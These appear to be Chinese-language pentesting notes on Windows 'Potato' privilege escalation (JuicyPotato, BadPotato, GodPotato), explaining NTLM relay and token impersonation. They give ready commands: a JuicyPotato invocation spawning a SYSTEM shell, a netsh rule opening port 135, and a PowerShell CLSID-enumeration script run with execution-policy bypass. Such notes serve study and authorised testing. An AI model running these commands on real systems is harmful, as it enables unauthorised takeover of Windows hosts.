一、土豆(potato)家族提权
原理
土豆提权就是通过 windows 的 COM(Component Object Model,组件对象模型)类。向指定的服务器端口发送 NTLM 认证,捕获认证数据包,并修改数据包内容使其认证成功,从而获得 system 权限的 token。在通过高权限的令牌执行反弹 shell 的命令,获取高权限用户的 shell。
烂土豆提权原理:1.欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
实现条件
- 获取到高权限的 token
- 当前账户拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 权限
【1】当用户具有 SeImpersonatePrivilege 特权,可以调用 CreateProcessWithTokenW 以某个 Token 的权限启动新进程。(最常见的,一般 IIS 服务的用户都具有该类权限)
【2】当用户具有 SeAssignPrimaryTokenPrivilege 特权,可以调用 CreateProcessAsUserW 以指定用户权限启动新进程。(这个权限一般管理员才具有)
适用版本:Windows 7、8、10、2008、2012
一、juicypotato(多汁土豆提权)-没什么用
【1】流程
1、加载COM,发出请求,权限为System 在指定ip和端口的位置尝试加载一个COM对象。
RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md2、回应步骤1的请求,发起NTLM认证 正常情况下,由于权限不足,当前权限不是System,无法认证成功。3、针对本地端口,同样发起NTLM认证,权限为当前用户 由于权限为当前用户,所以NTLM认证能够成功完成。
RottenPotatoNG使用的135端口。 Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token
重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。5、利用System权限的Token创建新进程
如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。
如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限
【2】提权步骤:
##查看本地用户的权限,是否具有SeImpersonate或SeAssignPrimaryToken权限
whoami /all
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t * 如果均未开启,那么无法提权。

查看RPC默认端口是否为135
netstat -abno##若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111##添加防火墙规则,允许135端口入站
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

不同操作系统选择可用的CLSID
参考列表:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
随便选择了一个,6d18ad12-bde3-4393-b311-099c346e6df9,选择系统未占用的端口作为监听端口,最终提权命令如下:
C:\wmpub\JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {6d18ad12-bde3-4393-b311-099c346e6df9}
执行成功即可获取一个system权限的shell,后续就是打开任务管理器,关闭explore任务,再开启explore任务即可得到一个system权限的桌面
注:自动化测试CLSID的脚本(win10可跑)
运行命令:
Powershell -ep bypass -f get-clid-2012.ps1
get-clid-2012.ps1脚本代码:
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
Write-Host $a.CLSID
}

如果还是不行,证明juicypotato提权在该系统上不行,可能已经打了补丁
二、BadPotato提权-win10实测成功-屌爆了(win11不行)
使用方法
clone BadPotato 仓库源码 到本地使用 VisualStudio 打开项目并生成可执行程序

提示缺失 .NETFramework 4.0 开发工具包的话可以参阅 此方式 解决
然后在项目目录 bin/Debug 中可以看到生成的 exe 文件:

将文件复制到靶机执行 BadPotato.exe [命令行] 即可使用,例如:

三、GodPotato(win10可以,win11不行)
GodPotato是一款基于DCOM技术的高级Windows权限提升工具,它巧妙利用了Windows系统中rpcss服务处理oxid时的安全缺陷。该工具只需要用户具备"ImpersonatePrivilege"权限,而Web服务和数据库服务通常默认具备此权限,使其在实际应用中具有极高的实用性
具体看GodPotato中的GodPotato.md
